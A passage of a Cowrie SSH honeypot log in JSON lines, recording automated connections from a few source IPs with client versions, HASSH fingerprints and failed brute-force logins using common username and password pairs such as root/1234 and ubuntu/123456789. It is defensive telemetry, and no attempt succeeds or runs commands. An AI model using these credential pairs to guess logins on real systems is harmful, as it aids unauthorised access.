16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:00.096528Z","src_ip":"91.92.40.36","session":"e264b17faeeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"iptv","password":"iptv","message":"login attempt [iptv/iptv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:03.325038Z","src_ip":"91.92.40.36","session":"e264b17faeeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:05.607024Z","src_ip":"91.92.40.36","session":"e264b17faeeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":45408,"dst_ip":"10.17.0.5","dst_port":22,"session":"855bc6f18816","protocol":"ssh","message":"New connection: 91.92.40.36:45408 (10.17.0.5:22) [session: 855bc6f18816]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:07.555738Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:07.559892Z","src_ip":"91.92.40.36","session":"855bc6f18816","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:09.139178Z","src_ip":"91.92.40.36","session":"855bc6f18816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55196,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d48b6dd18e1","protocol":"ssh","message":"New connection: 91.92.40.36:55196 (10.17.0.5:22) [session: 2d48b6dd18e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:11.384191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:12.278397Z","src_ip":"91.92.40.36","session":"2d48b6dd18e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:12.281803Z","src_ip":"91.92.40.36","session":"2d48b6dd18e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"HaCoi01@azzxxx","message":"login attempt [root/HaCoi01@azzxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:13.923266Z","src_ip":"91.92.40.36","session":"2d48b6dd18e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:15.172717Z","src_ip":"91.92.40.36","session":"2d48b6dd18e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:16.994544Z","src_ip":"91.92.40.36","session":"855bc6f18816","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.4","message":"Connection lost after 12.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:19.915393Z","src_ip":"91.92.40.36","session":"855bc6f18816","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15850,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8806a2d08cd","protocol":"ssh","message":"New connection: 91.92.40.36:15850 (10.17.0.5:22) [session: c8806a2d08cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:21.422920Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:21.897618Z","src_ip":"91.92.40.36","session":"c8806a2d08cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:22.584897Z","src_ip":"91.92.40.36","session":"c8806a2d08cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":52712,"dst_ip":"159.203.135.109","dst_port":22,"session":"3deea1a7cad8","protocol":"ssh","message":"New connection: 201.17.146.173:52712 (159.203.135.109:22) [session: 3deea1a7cad8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:24.231564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:24.236204Z","src_ip":"201.17.146.173","session":"3deea1a7cad8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:24.396286Z","src_ip":"201.17.146.173","session":"3deea1a7cad8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jzhu","password":"jzhu","message":"login attempt [jzhu/jzhu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:25.012784Z","src_ip":"201.17.146.173","session":"3deea1a7cad8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:26.158536Z","src_ip":"201.17.146.173","session":"3deea1a7cad8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51472,"dst_ip":"10.17.0.5","dst_port":22,"session":"056ee60e799d","protocol":"ssh","message":"New connection: 91.92.40.36:51472 (10.17.0.5:22) [session: 056ee60e799d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:27.494369Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:27.725492Z","src_ip":"91.92.40.36","session":"056ee60e799d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:27.729450Z","src_ip":"91.92.40.36","session":"056ee60e799d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"password","message":"login attempt [testuser/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:29.220437Z","src_ip":"91.92.40.36","session":"056ee60e799d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:30.321123Z","src_ip":"91.92.40.36","session":"056ee60e799d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redhat","password":"redhat","message":"login attempt [redhat/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:30.537041Z","src_ip":"91.92.40.36","session":"c8806a2d08cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":55200,"dst_ip":"159.203.135.109","dst_port":22,"session":"84940cab8fbc","protocol":"ssh","message":"New connection: 97.74.87.152:55200 (159.203.135.109:22) [session: 84940cab8fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:30.856232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:30.862382Z","src_ip":"97.74.87.152","session":"84940cab8fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:31.092725Z","src_ip":"97.74.87.152","session":"84940cab8fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#1234","message":"login attempt [root/Admin#1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:32.051938Z","src_ip":"97.74.87.152","session":"84940cab8fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:32.826910Z","src_ip":"91.92.40.36","session":"c8806a2d08cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:33.286097Z","src_ip":"97.74.87.152","session":"84940cab8fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51562,"dst_ip":"10.17.0.5","dst_port":22,"session":"b05c823e1bc7","protocol":"ssh","message":"New connection: 91.92.40.36:51562 (10.17.0.5:22) [session: b05c823e1bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:34.516452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:35.244844Z","src_ip":"91.92.40.36","session":"b05c823e1bc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:35.248398Z","src_ip":"91.92.40.36","session":"b05c823e1bc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:38.620134Z","src_ip":"91.92.40.36","session":"b05c823e1bc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:40.752650Z","src_ip":"91.92.40.36","session":"b05c823e1bc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":40614,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2fc6a296ce1","protocol":"ssh","message":"New connection: 91.92.40.36:40614 (10.17.0.5:22) [session: b2fc6a296ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:42.360037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:42.892702Z","src_ip":"91.92.40.36","session":"b2fc6a296ce1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:42.896097Z","src_ip":"91.92.40.36","session":"b2fc6a296ce1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:45.644283Z","src_ip":"91.92.40.36","session":"b2fc6a296ce1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:47.535941Z","src_ip":"91.92.40.36","session":"b2fc6a296ce1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52216,"dst_ip":"10.17.0.5","dst_port":22,"session":"70d81ce51519","protocol":"ssh","message":"New connection: 91.92.40.36:52216 (10.17.0.5:22) [session: 70d81ce51519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:50.522436Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:20:50.664806Z","src_ip":"91.92.40.36","session":"70d81ce51519","protocol":"ssh"}
